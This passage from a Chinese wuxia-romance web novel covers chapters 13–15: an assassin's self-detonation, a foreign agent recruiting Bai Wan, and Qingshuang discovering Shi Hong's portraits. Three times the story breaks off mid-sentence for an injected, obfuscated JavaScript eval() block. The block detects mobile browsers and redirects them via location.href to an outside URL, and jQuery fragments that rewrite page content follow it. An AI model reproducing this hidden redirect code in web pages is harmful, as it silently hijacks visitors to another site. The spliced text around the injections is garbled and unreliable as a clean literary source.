白衣人见机疾攻,峨眉刺直划时鸿咽喉!时鸿怒目圆睁,急速抬臂却只余剑柄,格挡不及,只能眼睁睁看着峨眉刺尖逼至喉前!
一生中最爱的是剑,最信任的也是剑,偏偏却死在峨眉刺下。
思绪飞转间,他脑中最后画面,竟是那日林公子垂眸品茶的悠然的侧影。微醺日光下,那人指尖莹白,腕骨轻抬间尽显修雅风度。
这样的手,若是执玄烈剑,应当也是极妙极美的。若是还有机会,真想与他成为知己,再话小春台……桌上若再有一只那日的烧鸡,与黑衣人共品,便更完美了。
时鸿自知难逃一劫,心中胡乱瞎想着。他认命闭上双眼,只等疼痛来临。
“叮——”
微小的金石碰撞声响起,时鸿猛然睁眼,恰见一把银针撞偏了峨眉刺,刺尖在脖子上划出一道浅浅的血痕。
“阿卡伊鲁!”那白衣人惊诧不已,下意识吐出一句异语,嗓音竟然是粗壮浑厚的男声。
院中本在缠斗的两人瞬间抬眼,向银针来处看去。
只见一人静立屋檐之上,一袭黑袍被夜风撩起,勾勒出略显纤细的身形。那人手中一把雕花银针,在月色下反射出烁烁银光。
那白衣人见势不妙,扭头便想逃出院去。青霜抬手,三枚银针封其去路。随即轻功几步,轻点屋檐,手中银针接连发射,处处指向白衣人落脚之处。
白衣人躲避不及,脚下被院中湿滑苔石一绊,顿时失了平衡,踉跄倒地。
青霜飞身落进院中,黑色细剑应声出鞘,直指白衣人咽喉。就在剑尖即将刺入的刹那,时鸿猛然从身后暴喝:
“快躲开!他要自爆!!”
话音未落,他已一把扯过青霜衣袖,揽住她向后急掠。
“轰!”一道火光瞬间炸起,在院中剧烈翻起黄色尘土。剧烈的气浪将二人狠狠掀飞,冲击下两人在院中翻滚几圈,直至撞上树干才停止下来。
青霜离爆裂中心更近,所受冲击尤甚。她强忍晕眩,自半晕的时鸿怀中撑起身子,急望向白衣人的方向。
烟尘散尽,只见遍地都是飞起的衣服碎片,躺在那里的白衣人血肉模糊,定是已经无力回天。
青霜心念急转,闹出这般动静,院外值守的侍卫定会马上赶来。刺客同伙纵然再想对时鸿下手,今日恐怕也难有作为。
反之,若她身份暴露,必将牵连望春楼与主子的大计。今日受伤已属意外,绝不可再陷危机之中。
思及此,青露强忍伤痛起身,欲在侍卫赶来前脱身,逃离这个是非之地。
“侠士!”时鸿已撑墙站起,神情复杂看向青霜,喘息着抱拳道:“今日多谢侠士救命之恩,在下定当涌泉相报!敢问侠士高姓大名,也好容我……日后相报。”
青霜冷冷一笑,嗓音低沉未答。她回头深深看了时鸿一眼,不再留恋,纵身跃上屋檐,几个起落便消失在夜色之中。
回到望春楼,青霜迅速安排暗线继续监视将军府周边,令侍人备好纸墨,自行转入内间。
小心撕下粘连皮肉的黑袍,青霜面无表情地检视伤势。洁白如玉的身体遍布旧痕,新添的几处烧伤浸足了血,与腰后撞出的淤青连成一片。
她翻出几瓶药膏来,咬牙在伤口上涂抹开,动作干净利落,不见半分迟疑。
内室案几早已备好笔墨,不过多时,一封加急密信已悄然送出。
……
白挽从坊市回到镇南王府时,天色已经渐晚。
她独自坐在房中,心绪久久不能平静。那异族女商人仿佛自带一种魔力,说出的每一句话都像烈火,点燃她躁动不安的魂灵。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576072|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想要获得程慎之的心,不仅要去靠近他,讨好他,还要够狠,忍得下心,下得去手。
异族女子,生来就该当猎手。
白挽从怀中掏出一把袖珍匕首,这是那名女商人临别时,特意给她的礼物。
匕首长约七寸,形若月牙,通体以精铁打造,呈现出淡默的银灰色。刀柄生出两条灵蛇,缠绕成诡谲的纹路,蛇眼交汇处,硕大的金色猫眼石镶嵌其中,如活物一般注视着持刀之人。
白挽轻抚匕首,神色迷离。
与那女商人摊前相遇,二人皆从对方眼中看到了渴望与了然。甩开随行侍卫后,她们便在一旁寻了茶肆相谈。
没了外人的打量,慕达莎潇洒扯掉蒙面的白布和轻纱,露出一副典型的异族相貌。她染着红色蔻丹的手指略微梳理,瀑布般的黑色长卷发顺着流淌下来,热情洋溢地披了满肩。
“我名慕达莎。”慕达莎红唇微张,每个音节都带着异族特有的韵律。她深蓝的眼眸打量着白挽,随即露出满意的笑容,“我们已经等了你很久了。”
“等我?”白挽疑惑。
却见慕达莎突然肆意大笑,如歌唱般高吟:“我们为神谕而来!神不会亏待他的每一位信徒!而你,神的使者,我们听到了你内心的呼唤!”
“我的呼唤?”白挽垂眸,想起昨夜被程慎之拒绝,情绪顿时低落几分,“我对神明没有兴趣。”
她不想再搅进异族人对神明的信奉中,只想将自己挑选的心仪之人奉为神明。
“你会有兴趣的。”慕达莎见她不信,轻蔑一笑,“神谕之下,这是迟早的事。”
“你们到底要做什么?”白挽不想再提神明,“你要知道,现在的京州并不欢迎异族人,自然,也不欢迎你我。”
“我当然知道这里排斥我们。”慕达莎坐起身来,侧脸瞟向窗外坊市中熙熙攘攘的人群,“排斥,是因为我们的强大,给这里弱小的臣民带来了恐惧,带来了不幸。”
慕达莎妩媚站起身来,盯着白挽,“只有弱者才会惧怕强敌,强者只会竭力赞美他们钟爱的神!”
她突然俯身逼近白挽,对着耳畔漠然低语,像蟒蛇看准了猎物,伸出了尖锐的獠牙:
“就像你,明明渴望那个人的心,却只敢躲在恩情的阴影里,不敢前进一步。”
白挽瞳孔骤缩。
慕达莎看着她的神情,满意坐进软座,“你既知我眼瞳的秘密,自然也知晓我们''蓝影''一族的能力,我们依靠的从来不是刀剑蛮力,而是看透人心的眼睛。”
她又突然哧哧笑起来,举手投足间尽显媚态,“我们早在南部就听闻了你的事迹,知你有靠近世子,哦不,现在该叫镇南王了。”
“你既得近镇南王之机,便是神最宠爱的信徒。所有异族人都需要你的相助。”
“……”白挽有些无措,她知道选择跟随程慎之,或许会面对异族人的怒火。众人皆晓她对程慎之有救命之恩,于异族而言,她便是叛徒。
却不想蓝影早已盯上她,反说异族需要她。
作为异族子民,她自然崇敬统领异族的蓝影部落,如今真正见到蓝影族人,却是惊惧交加。
是合作?还是远离?
蓝影一族善谋善略,在战场中尽显神通,眼下虽是异族战败,但未必不是缓兵之计。他们既入京州,必有图谋,且极可能牵涉镇南王府。为求自保,或许也该……
白挽抬眸,声音微颤:
“你先告诉我,神明需要我……做些什么?”
13. 名剑和画
夜晚,镇南王府侧殿。
烛火将灭,最后一丝微光在床帐上映出摇曳的影。
白挽在床榻间辗转难眠,丝质寝衣已被冷汗浸透,紧密地贴在肌肤上。她双眼紧闭,仿佛陷入无法挣扎的绝望梦魇。
那些深锁的记忆死灰复燃,化作滔天烈焰,浓烟滚滚下,白挽一阵窒息。
支离破碎的夜幕中,无边无尽的烈火漫天翻滚。树木扭曲燃烧,枝干仿佛地狱爬出的鬼影,张牙舞爪着吞噬一切。整个村庄陷入火海,白日里还慈眉善目的村民们,在火焰中发出最后的嚎叫。
火光撕破夜幕,妇孺的哭喊不绝于耳,像是钝刀,一次又一次折磨着她脆弱的神经。焦黑的人们伸出绝望的手,那黝黑的掌心中裂出猩红的血肉,猛然就要抓住她的裙摆,将她一起拖进地狱永世沉沦。
“啊!——”
白挽猛然惊醒,从床上坐起身来,喉咙间溢出声声破碎压抑的喘息。她无意识抬手探向枕下,那柄蛇纹匕首触手生凉,让她微缓过神来。
夜风吹动着轻纱床帐,慕达莎蛊惑的话语回荡在耳畔。
“你是火焰中加冕的神使,阻碍你前路的敌人,都该用火焰焚烧为灰烬……”
夜色还长,窗外竹影婆娑摇动。
白挽闭眼躺下,一张张脸庞从眼前急速掠过,她缓缓睁眼,唇角绽开狰狞绝望的笑。
……
望春楼。
“小姐!”青露捧着药膏的手微微发抖,“姐姐她的伤……”
“劳主子奔波。”青霜低垂下眼眸,“青霜无碍。”
宁鸾轻抚过青霜眼下狰狞的擦痕,指尖蘸了药膏细细涂抹。昨日接到密信时,宁鸾已暗中调配,准备冒夜前来望春楼。却碍于程慎之在府中,不便行动,只得清晨借采买之名出门。
见青霜伤势虽是骇人,却未伤及根本,休养几日便可恢复,众人皆是松了口气。
“近日京中可有异动?”宁鸾落座,悬着的心稍微落下。
青霜将重要密报一字排开,拣出几封递上,“主子,最近收集到的情报众多,多与异族相关。”
青霜稍加思索,冷静分析道:“异族商人大量涌入京州城,隐匿于坊市街区。其中一拨商人尤为出挑,他们皆身着白袍,在坊中闹市摆摊,所售皆是南部珍宝,引得百姓争相围观。”
青霜顿了顿,接着道:“白袍商人人数众多,以一位蓝眸女子为首,被商人称呼为‘慕达莎’。在她的带领下,异族人明面上售卖稀有商品,可实则在京州各处安插眼线,暗中联络京州得势的异族,图谋不轨。”
宁鸾皱起眉头,陷入沉思。
随行而来的青露轻车熟路,为二人奉上新沏的碧螺春。她心思单纯,与青霜不同,听不懂也不愿懂这些弯绕。在她心中,只盼小姐一切安好,能与姐姐永远相伴左右,如此,便已心满意足。
“继续派人盯着。”宁鸾端起茶杯轻抿一口,朦胧水汽晕湿了她清亮的眼。
青霜也盯着碧螺春沉思,恍惚想起,某个人曾请她喝那放陈了几年的老窖碧螺春。
“异族此番来者不善,昨日时鸿将军遇刺,也多半是他们所为。”宁鸾沉思,望向站立一旁的青霜,“青霜,最近镇南王府周围,是否也多了白袍的异族人?”
青霜眼底闪过一丝讶然,下意识回道:“主子神机妙算!”
她展开一张简易的京州城地图,在几处红圈处轻点,“最近镇南王府周围,尤其是这几处要道,多有白衣人频繁活动,似在探查什么。”
“那便是了。”宁鸾放下茶盏,瓷器与桌底碰撞出清脆的声响。“慎之和时鸿都是讨伐异族的功臣,亦是异族首要记恨的对象。慎之回府后已调精兵将王府围得铁桶一般。”
“但将军府则不然。时老将军性情刚直果敢,最不愿暗中布防。”宁鸾无奈。
青霜恍然大悟,“那主子您安排我去监视将军府,也是因为……”
“是,唯有你的轻功和隐匿术高超,有把握瞒过时大将军的敏锐直觉。”宁鸾看着青霜脸上擦伤,满目痛惜。
“那异族若要报复,在王府无法下手,只得另寻机会对将军府出手。”宁鸾起身,上前抚摸青霜脸上的擦痕,“不想他们如此激进,当即要取时鸿性命,还连累了你。”
宁鸾眼眸中的怜惜越发深切,“青霜,你可会怨我?”
青霜突然跪地,脸上冷色消散无几,“夫人和主子救我们姐妹于水火之中,为主子做事,青霜从无怨言,只恐不足报主子恩德!”
“小姐!”青露也跟着跪下,接连点头,忙道:
“奴婢与姐姐一样,夫人当年为我们思虑深远,我们无以为报,愿一辈子跟着小姐!”
……
望春楼六层,珍宝阁。
时鸿跛着条腿,拿着一张画像,正对面前的侍者手舞足蹈地比划着。
望春楼六楼是京州有名的珍宝阁,这里不仅出售最值钱最稀有的珍宝,也同样售卖最古怪最难得的情报。传言道,只要出得起价,没有望春楼打听不到的。
宁鸾换上男装,戴着那银质的鸾鸟面具,顺势下楼视察楼中情况。刚迈入六楼,一片人声嘈杂中,便看到珍宝阁估价处一道熟悉的背影。
宁鸾屏退了青露青霜,独自走上前去。
“时将军,又见面了。”她“唰”地合拢折扇,扇尖点在时鸿肩头。
那时鸿正在苦恼,闻声转头一看,瞳孔紧缩,当即就要大喊出声:他当然认得这张面具!
宁鸾早有准备,直接用扇骨抵住他嘴唇,微微摇头递上一个眼色。
众人皆传闻望春楼掌柜姓林,然除七层侍者外,几乎无人见过林公子真容。时鸿作为宁鸾一时兴起邀上楼的客人,自不能让他贸然暴露了她的身份。
时鸿乍见意料之外的人,脖颈瞬间红到了耳根。他圆睁双眼连连点头,示意不会乱说话,喉结滚动咽下呼喊。
宁鸾这才放下手来,“哗”一声展开折扇,压低嗓音问道:“时小将军来我望春楼,所为何事?”
“公……公子。”时鸿嘿嘿笑着,不好意思地摸着头。“没想到在这遇见,真巧、真巧!我就想打听个人!本想找公子问问,没想到上不去楼,只好在这六楼碰碰运气。”
“哦?”宁鸾眼底疑惑,“什么人?”
时鸿双手一展,将画卷徐徐拉开。只见画上几笔写意,勾勒出一道迎风而立的身影。那人一身黑衣,腰悬纯黑长剑,虽面目不清,气质神韵却是格外出挑。
宁鸾一眼扫过去,这画像上的黑色人影,不是那青霜又是谁!
时鸿举着画,脸色随着宁鸾的打量,红得更像只熟透的海虾。“我……我画术不精,公子见笑了。”他声音越来越低,目光却忍不住去瞟那张鸾凤面具。
今日一见,更觉林公子势如破竹,一派风流,颇有股凛然之气。与镇南王妃的端庄守礼、温柔似水截然不同。
若是说林公子是淬了寒冰的青锋,在清冷遗世的性子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576073|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,有着洞察世俗的眼光。那么镇南王妃宁鸾,便更像是精雕细打的软件,仅凭绕指柔便让敌人自甘投降。
二人哪有半分相似之处?
“咳。”时鸿喉头一紧,眼眸转向手中的画卷。
昨日遇袭后,救他性命的黑衣身影频频出现在他的眼前。他忍着身上剧痛画下那人身形,心中暗想,往后定要报答此人恩情。
这么多年来,只有剑曾让他魂牵梦萦,求而不得。
他本觉得,见过的那么多人中,若说程世子像烈刀,大开大合之下是细嗅蔷薇。林公子像裹着雪的青锋,气势如冰似霜。
那这黑衣人……
时鸿打量着画上的黑剑,一时陷入了沉思。
今早他迫不及待拿画像,来到心心念念的望春楼,直上七楼欲访林公子。可一无口信,二无约定,七楼守卫的侍者自然不放行,恭恭敬敬将他请了下去。
在六层徘徊的时鸿转念一想,珍宝阁无奇不有,或能以金银换得画中人情报,也算不虚此行。可令时鸿万万没想到的是,那评估的侍者利落地看了画,平静地对他开出了一个天价。
“两万两!黄金?!”
若不是对望春楼印象尚佳,时鸿几乎要以为进了黑店。
一个黑衣人的消息,竟然开价两万两黄金,这人的来头得有多大啊!?
他正是气恼之时,前来找他之人,竟是他寻而未得的林公子!时鸿陷入“今日有缘”的欣喜当中,盯着宁鸾一阵傻乐。
“所以,时小将军是在寻这画上之人?”宁鸾打断他的思绪。
“正是!”时鸿一拍大腿,随即哭丧着脸道:“但这要价……实在是有些出乎意料。”
他表情悲痛欲绝,“侍者告诉我,望春楼已经知晓这位侠客的情报,但需要我给两万两黄金作为报酬!林公子,您说这……!”
正欲抱怨定价不公,时鸿忽然意识到,面前林公子正是望春楼大掌柜!当面说人家定价不公,岂非打脸?
时鸿收了话头,带着几分尴尬,额上急出几分汗水。
宁鸾见时鸿此般作态,心中了然一笑。
她余光一瞟,见青霜青露二人正倚在七楼向下观望。青霜神情冷然,暗里却红了耳垂,扭过脸去不愿再看。青露不知内情,见小姐望向她们,偏头等待着指示。
宁鸾心底顿时跟那明镜似的。那日时鸿来拿剑,青霜便对他脸色不佳,今日更是不愿看到时鸿,眼下定是不想暴露身份的。
思索至此,宁鸾一挥折扇,压低嗓音冷淡道:“望春楼做生意,向来童叟无欺。这位黑衣侠客的情报,确实值这个价。”
时鸿连声称是,望春楼有口皆碑。
“既然价目无问题,那时将军在楼中自娱便是,在下告辞。”宁鸾收扇转身,就欲离去。
“林、林公子!”见宁鸾转身要走,时鸿连忙叫住,见周围人朝他看过来,他慌忙捂住嘴。
宁鸾心道,这个莽汉,怎么每次都在背后叫人。
“七日后是我生辰,将军府设宴邀请宾客同乐。……今日我来得匆忙,未带上邀请的信函,届时可请……请林公子赏脸出席吗?”
时鸿压低声音,一句话卡顿了几次,磕磕巴巴差点咬到舌头,话音还未落,两个耳朵竟又是红了个彻底。
真正说完后,他恨不得当场找个地缝钻进去。这般没有诚意的邀约,林公子定是不会参加。
但……他还是期待地望向了宁鸾,期待着她的答复。
14. 玲珑双璧
“我们还会再见面的。”
宁鸾从容转身,衣摆扬起,逐渐隐没在向下的雕花楼梯后。
时鸿深吸一口气,只觉周遭飘过一阵若有若无的冷香,待他再要细闻,却已然消散得无影无踪了。
青霜倚在七层的悬空露台上,看着时鸿这呆愣模样,胸口猛然腾起一股无名之气来。
她提手紧攥腰间佩剑,强行按捺翻涌的情绪。见时鸿要离开,她拍了拍青露的肩,表示自己有事,随即便默不作声奔向楼外。
轻车熟路地避开侍卫,青霜先时鸿一步回到将军府。
她足尖轻点,身轻如燕掠上屋檐,正拨开瓦片轻盈落在横梁,却见那往常的落脚地多出一物。
青霜一惊,向后猛退几步,险些踩空坠落。
是暗器?!
她绷紧神经,定神细看。那横梁正中静置着个巴掌大的小玉罐,在如此阴暗之处也折射出莹润光泽。
青霜上前,小心捧起翻看,那玉罐触手温润,内盛着莹白膏体。凑近一闻,草木清香扑鼻而来,沁人心脾,是上好的祛疤药膏。
那罐底还压着张字条,青霜摸起来一看,那字体竟还算端正稳当,上书:
“御用白玉凝脂膏,专治烫伤擦伤,聊表救命之恩,愿博君一笑。”
青霜心思微动,将字条收入怀中,目光打量着屋内。
那时鸿虽武艺超绝,力能扛鼎,但这些日子观察下来,他的轻功连三流都算不上,连高点的院墙都攀不过去,更何况这高悬的横梁。
稍加探寻,果然见侧殿墙角中,一架可伸缩的竹梯静静倚靠墙面。
想象着时鸿五大三粗的个子,深夜里还拖着伤体,笨拙爬这脆弱的竹梯,青霜不禁唇角微勾。
那白玉凝脂膏也被她妥帖放入怀中。
可是此后数日,时鸿举止愈发古怪,多次神色诡异,似有沉沉心事。
这位向来磊落的小将军,一面明目张胆进出床底的暗室,俨然把“我有秘密”刻在头上,一面又常在窗前廊中长吁短叹,连平日里总不离手的青锋剑都弃置一旁。
堂堂八尺精壮男儿,竟整日愁眉不展,活像个深宫怨妇般垂头丧气。
青霜稍加思索,若真有妃嫔生得如此健硕敦实,只怕皇上当夜便会将她发配冷宫。
这日清晨,装病多日的时鸿小将军终究拗不过自家老父,起了个大早,不情不愿地换上朝服,入宫面圣。
青霜望着他远去的背影,心知探查暗室的时机终于到了。
尽管因上次遇刺一事,将军府内外已增派重兵把守,但青霜经验老道,轻功超绝,依旧在府内进退自如,如入无人之境。
她指尖抚上那山海经异兽的独角,却发现时鸿给暗门换了机关。
可惜这小将军自以为高明,凭着换位置就能拦住青霜。实则不过是将暗门机关从异兽头上,换到爪子肉团中。换汤不换药,毫无新意。
青霜潜入暗室当中,室内伸手不见五指,一片漆黑。想来时鸿自知今日难逃早朝,索性连灯烛都未点上。
青霜看不见四周,也不敢贸然点燃火折子,怕擦出的火花不慎引燃地底杂物,反倒得不偿失。
她在原地静立片刻,待双眼逐渐适应黑暗,才勉强能辨清周遭物体的模糊轮廓。
暗室内陈设未变,唯独那张木桌上堆满了纸卷与散乱的笔墨。她向前看去,这大概就是这几日时鸿情绪不稳的根源。
她早该想到的。
那日望春楼相遇,时鸿几笔勾勒的黑衣人她惊鸿一瞥,自知画的是那日屋檐上发出银针的自己。
可后来又到将军府,却始终未见作画所用的笔墨之物,原以为是被他收了起来,不曾想竟藏在这暗室当中。
时间还算充裕,青霜缓步走到桌前,拾起一张纸卷,徐徐展开。
那纸面上画的不是别人,赫然是身着男装,带着银色面具的宁鸾!
只见画中人身姿翩然若鹤,持一柄骨扇而立,雕刻青鸾的面具下眸光流转,唇角若有若无带着笑意。
那画中面具纹路纤毫毕现,精致尾羽用朱砂细细点染,流畅飞扬至鬓中,勾勒一抹温柔的弧度。
画中人物身旁,还待着把细长修雅的剑,更衬得他气质卓然,清贵难言。
作画之人,定是倾注了全部心神,每一笔涂抹、每一处勾勒,都隐含着画者难以言喻的心愫。
青霜指尖轻颤,心中涌起一股难以言说的滋味,像是望春楼的大厨子失手打翻了调料瓶,将汤里的酸甜苦辣胡乱翻搅上来。
她轻轻抚摸着画上的人影,终于明白了时鸿的心思。
难怪他在府中总是心不在焉,难怪那日望春楼重逢,他在宁鸾面前会是那般局促模样。
青霜自嘲苦笑,她早知一切不过是镜花水月,一厢情愿。
却不想,真相竟来得那么急,那么快,那么猝不及防。
多年来,望春楼是她最眷恋的家。
为了守护这份恩情,她甘愿做宁鸾手中最锋利的剑,做妹妹身前最坚实的盾。
她杀过无数人,也护过无数人。
腥风血雨里,她自愿镶上冷漠的面具,铸就冰冷的铠甲,只为在这乱世中谋取一线生机。
若非当年林夫人出手救助,她和妹妹要么饿死街头,要么沦为京州贵族的玩物,一辈子仰人鼻息。
林夫人给了她们生存的机会,也给了她们选择的权利。
青霜从不后悔自己选择的道路,为望春楼出生入死,既是还报恩情,亦是自我救赎。
唯有被楼中需要着,她才感受到作为“人”的真正价值。
年复一年,日复一日。冰冷的面具已经揉进骨血里,融化进了血液,成为她名字的一部分。
她自以为习惯独自行走于刀剑火海,习惯捂住伤口咬牙前行。
直至遇见时鸿。
那房顶上的滚烫烧鸡,那望春楼的天价情报,那横梁上的白玉凝脂膏。
他的笨拙和直率,让她第一次从楼外之人身上感受到了存在的意义,仿佛天地万物都不必挂怀,眼中只需装入一人。
为一人笑,为一人哭,奋不顾身,只为那一人负剑前行。
那日为他挡下的伤,真的全是为了望春楼的任务吗?那些日夜梁上相守的默契与陪伴,真的不曾动摇她的内心吗?
青霜放下手中的画卷,再也无法欺骗自己。
她翻看桌上一张又一张的画像,笑着的、冷漠的、算计的、高贵的,几乎每一幅都是宁鸾带着面具的模样,旁边也都配着时鸿的剑。
直到最后几张——
她苦笑着展开最后几张画,这几张画格外与众不同,纸面泛着毛边,墨迹甚至有些模糊,显然被人拿在手中,反复摩挲过无数次了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576074|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>那是她的画像。
画中的她,如腰间黑剑一般凌厉果断。
她一身黑衣,独立房檐之上,一手持着银针,一手抚上黑剑,头顶蒙着的黑色面纱,在风中微微扬起。
在月色中,显得孤单冷寂。
正是那日她冒险救下时鸿的瞬间。
也是前几日,时鸿拿去望春楼珍宝阁,试图以重金求问情报的那几张画。
青霜死死攥着这幅画像,压抑的笑声在暗室中回响。她笑得越来越放纵,越来越沉痛,笑到肩头发颤,仿佛要将筑起的束缚和坚强,全部在此土崩瓦解。
笑声回荡在狭窄的暗室里,平白多了几分空旷和无助。
终于,青霜扬起脸庞,隔着黑纱拭去眼角湿意,神色归于冰冷,仿佛刚才一切都与她无关。
她将最上方那张黑衣画像收入怀中,纵身离开暗室。
趁着时鸿尚未回府,她轻功点地,径直奔回望春楼。不过多时,密信和暗探同时离开望春楼,各自奔赴前方。
……
夜幕已至,望春楼灯火依次亮起,笙歌笑语自楼下传出,衬得顶楼这方天地静得渗人。
青霜独坐案前,一盏孤灯剪出她修长的影,四周无人侍立,漆黑一片。墨笔在纸上游走,将纷杂的情报和事件梳理成章。
忽闻楼下丝竹之声,是近来京州时兴的《亭台落》,歌女婉转的嗓音凄美悠长,宾客们一派喧闹,隐约可闻推杯换盏之声。
“叩叩叩……”
敲门声轻轻响起,几乎要被欢声浪潮淹没。
“进来。”青霜并未抬头,只当是夜里的密报,“放桌上吧,辛苦了。”
绿色长裙身影闻言,轻声合上门扉。
“姐姐……”
那熟悉的呼唤中,隐含着满满的担忧。
“青露?”青霜笔尖一顿,抬眼神色惊讶。“怎么这么晚过来,主子那边出了什么事吗?”
话音未落,青露再也抑制不住情感,几步绕过桌案,猛然扑入青霜怀中。她像幼时那般,将脸埋进姐姐肩头,发间散发出淡淡的茉莉香。
青霜回抱住她,抬手轻抚发顶,神色中是自己都未觉察的温柔。
案上灯盏映出橙黄的烛光,为姐妹俩镀上一层暖色的光晕。
“小姐……小姐那边没事。”青露声音发颤,“但听闻姐姐主动请辞了任务……”
她眼神放空,手指无意识攥紧了姐姐的衣袍,喃喃道:“这是从未有过的事,小姐本也担心,想同我一起来,只是府上有事,一时脱不开身。”
“我实在等不得了,姐姐你什么都不告诉我……”
一滴温热落在手背,青霜才发现妹妹眼中早已蓄满泪水,她抬手抚去青露脸上的泪花,一时间动容得说不出话。
“姐姐,我是不是又给你添麻烦了?”
“傻丫头。”青霜微微摇头,她捧起青露的脸,眼神中带着明媚的光。“你从未是我的麻烦。正因有了你,才有今日的我。”
窗外月色正好,楼下换了乐声,奏起一曲欢快的小调。
青霜挽起妹妹鬓边散落的发丝,轻声道:“不急的话,想听个故事吗?”
青露猛猛点头,将泪水撒娇似的蹭到姐姐身上。
桌上的灯盏放出微光,勾勒姐妹二人依偎的身影。
而今夜,她们的时间还有很长、很长。
15. 你最有趣
时鸿的寿宴如期而至。
程慎之作为朝中新贵,又是曾与时鸿并肩作战的同僚,镇南王府自是收到了请帖。
宴会当日,程慎之携身旁最得力的幕僚张回一同赴宴,宁鸾则带了青露随行。二人按宴会规制梳洗打扮,乘车前往将军府。
将军府历经三朝,占地广阔,布局规整。青石板制的厚重院墙将四周团团围住,整个院落既有武将雄伟刚劲之风,又有世家恢弘大气之感。
进到府中,只见府内张灯结彩,修剪齐整的枝桠间缀满彩绢灯球,流光溢彩。
“这大将军为了给时鸿铺路,真是煞费苦心。”
府内布局大开大合,不似寻常府邸摆香炉,悬纱幔,反倒是箭靶、武器架等物随处可见,布景也多用假山巨石、丛林灌木。沿路径走下去,桩头盆景依次排开,别有一股生硬的园林风范。
程慎之与宁鸾信步同游,走了一会儿,便在游廊拐角处寻了个僻静小亭,落座稍作休整。
这凉亭藏得极为隐蔽,周围绿树高低错落,唯有一条狭窄的回廊与外界相通,倒是这板□□邸里难得一见的婉约景致。
“仿佛从前,也曾在御花园的凉亭里,与你像今日这般消磨时光。”宁鸾托腮看向程慎之,眉目含笑。
“不过那时你手不释卷,不是在尚书房念书,就是回房临帖。每回我来寻你,怕是都被嫌聒噪得很。”
话音未落,宁鸾自己倒先轻笑出声,仿佛在缅怀当初一无所知,无忧无虑的年岁。
程慎之闻言微微一滞,眼底闪过一丝痛色。
“抱歉,那时候,我满心只想离开。”像是躲避着什么,程慎之暗自垂眸,嘴角自嘲一笑。
“我想离开那个四四方方,白骨累累的皇宫,想回到南部,在平原上自由驰骋。可父亲年迈,长兄为国殉身,二哥才娶了妻,嫂嫂又正怀身孕,唯有我……”
他喉结滚动,似乎说得有些艰难,“唯有我留在宫中,才是牵制南部最合适的那枚棋子。”
宁鸾沉默不语。
她想起幼时的自己,曾像只不知收敛的红雀,仗着母亲的宠爱,扑棱着尚且稚嫩的翅膀四处闯祸。
那时的她,确实不知天高地厚。
可是现在,最疼爱她的娘亲……已经不在了。
而父亲宁丞相看她的眼神,如同打量一件高雅却冰冷的瓷器,冷静地估量着她的价值,只让她觉得脊背生寒。
眼中掠过些许落寞,宁鸾莞尔一笑,她早已不是那个受委屈后,抱着娘亲哭一夜的孩子,而是羽翼渐丰、蓄势待发的青鸾,终有一日要振翅九天。
“现在想来,那时的你,在我眼里确是与他人都不同。”宁鸾略加思索,目光清亮地迎上程慎之的视线。
“太子殿下陪我玩闹,给我打首饰,其他皇子也多给我献殷勤,可那时我心中唯有不安。”
“不过是眼红丞相府的权势罢了。”宁鸾撇去茶中浮沫,冷然一笑道:“丞相府得圣心,他们便与我亲近;丞相府遭忌惮,他们便与我疏远。”
随即,她又像是想起什么有趣的事,突然露出一个真切的笑容。
“唯有你,总是不爱理我,终日坐在那儿,像个千年老树桩成精。若非顶着一个世子名头,我当真以为你是进宫来参禅修行的。比起那些心思各异的皇亲贵胄,你这般模样,反倒有趣极了。”
原来,她当年是这般看他的。
被称为“老树成精”的程慎之,耳尖悄然泛红。他未曾想过,时隔多年,竟会从她口中再听闻这般评价。
在程慎之记忆中,太子风度翩翩,一表人才,虽性子较真,但总是妙语连珠,逗宁鸾开怀。
他有趣。
四皇子咋咋呼呼,活泼张扬,最会哄女眷欢心,若他在的地方,总是一片莺歌燕语,笑语盈盈。
他有趣。
而如今她却说,那个沉默寡言的安南王世子程慎之,在她眼中,竟也同样“有趣极了”。
程慎之揉了揉微红的耳廓,掩饰窘态强作镇定,强作镇定道:
“那时……长兄刚刚殉国,天家惶恐,怕我父亲安南王就此发难,连夜召我们上下老小进京,名为安抚,实为软禁。”
他压下激荡的情绪,无意识摩挲着手里的茶杯,自嘲冷笑,“后来边境冲突不断,圣上觉得南部不能无人镇守,这才放了父亲和二哥回去。独独留我入宫,名为陪伴太后抄经颂文。”
“那时的你天真明媚,尚书房许多皇子贵族被你打动,为你倾心,明里暗里都想娶你过门。”
程慎之抬眼,一字一句道:“可我……从不敢贸然靠近你。况且……”
“况且安南王世子程慎之,并不喜欢我这样被娇宠坏了的世家小姐。”
